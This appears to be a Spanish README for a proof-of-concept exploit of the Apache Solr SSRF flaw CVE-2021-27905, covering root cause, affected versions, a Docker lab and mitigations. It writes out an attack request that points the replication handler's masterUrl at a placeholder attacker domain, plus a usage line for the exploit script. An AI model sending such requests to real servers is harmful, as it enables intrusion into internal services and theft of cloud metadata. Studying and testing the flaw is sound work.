CVE-2021-27905

Para fines educativos y de investigación únicamente. No utilices este código en sistemas que no poseas o para los que no tengas permiso explícito de prueba. No soy responsable de ningún uso indebido.

Resumen

Esta es una vulnerabilidad de Server Side Request Forgery (SSRF) que afecta a Apache Solr (< 8.8.2) y que permite a atacantes remotos realizar peticiones HTTP arbitrarias a sistemas internos o externos a través del parámetro masterUrl del manejador de replicación, exponiendo potencialmente servicios internos o metadatos confidenciales de la nube.

Versiones afectadas : todas las versiones anteriores a 8.8.2 (7.0.0 - 7.7.3, 8.0.0 - 8.8.1)

Causa raíz

El mecanismo de replicación en Solr permite que una «réplica» obtenga archivos de índice de un «maestro/líder» especificando un parámetro masterUrl o leaderUrl. La URL a la que apunta este parámetro no se valida correctamente en las versiones afectadas de Apache Solr. Por lo tanto, permitiría a los atacantes convencer al servidor de que acceda a un recurso remoto que ellos elijan.

Flujo vulnerable

• Un atacante enviaría una solicitud a un endpoint como:

/solr/<CORE_NAME>/replication?command=fetchindex&masterUrl=http://<ATTACKER_DOMAIN>

El ReplicationHandler de Solr:

1. Aceptaría la solicitud.
2. Usaría la masterUrl proporcionada para descargar los datos del índice.
3. Internamente haría una llamada HTTP a esa dirección.

Prueba de concepto

CONFIGURACIÓN DEL LABORATORIO

• Se puede configurar un laboratorio localmente con docker:

$ cd lab
$ docker compose up -d

# verify accessibility
$ curl http://127.0.0.1:8983/solr

• Limpieza

$ docker compose down

EXPLOTACIÓN

• Configurar un entorno virtual:

# for windows
$ python -m venv <NAME>
$ .\<NAME>\Scripts\activate
# for linux
$ python3 -m venv <NAME>
$ source ./<NAME>/scripts/activate

• Instalar los requisitos:

$ pip install -r requirements.txt

• Ejecutar cve-2021-27905.py

$ python3 cve-2021-27905.py --target <TARGET> --payload <SSRF_PAYLOAD>

Mitigación (8.8.2+)

El ReplicationHandler de Solr fue parcheado para:

• Validar que masterUrl/leaderUrl apunte solo a hosts aprobados.
• Restringir los esquemas de URL aceptados (solo http, https).
• Endurecer las funciones de streaming remoto.
• Recomendar a los administradores proteger /replication con autenticación o eliminarlo por completo si no se usa.

Referencia

• https://nvd.nist.gov/vuln/detail/CVE-2021-27905
• https://lists.apache.org/thread/90kct018gfdnvh9wh5xvt0grm9jk2l80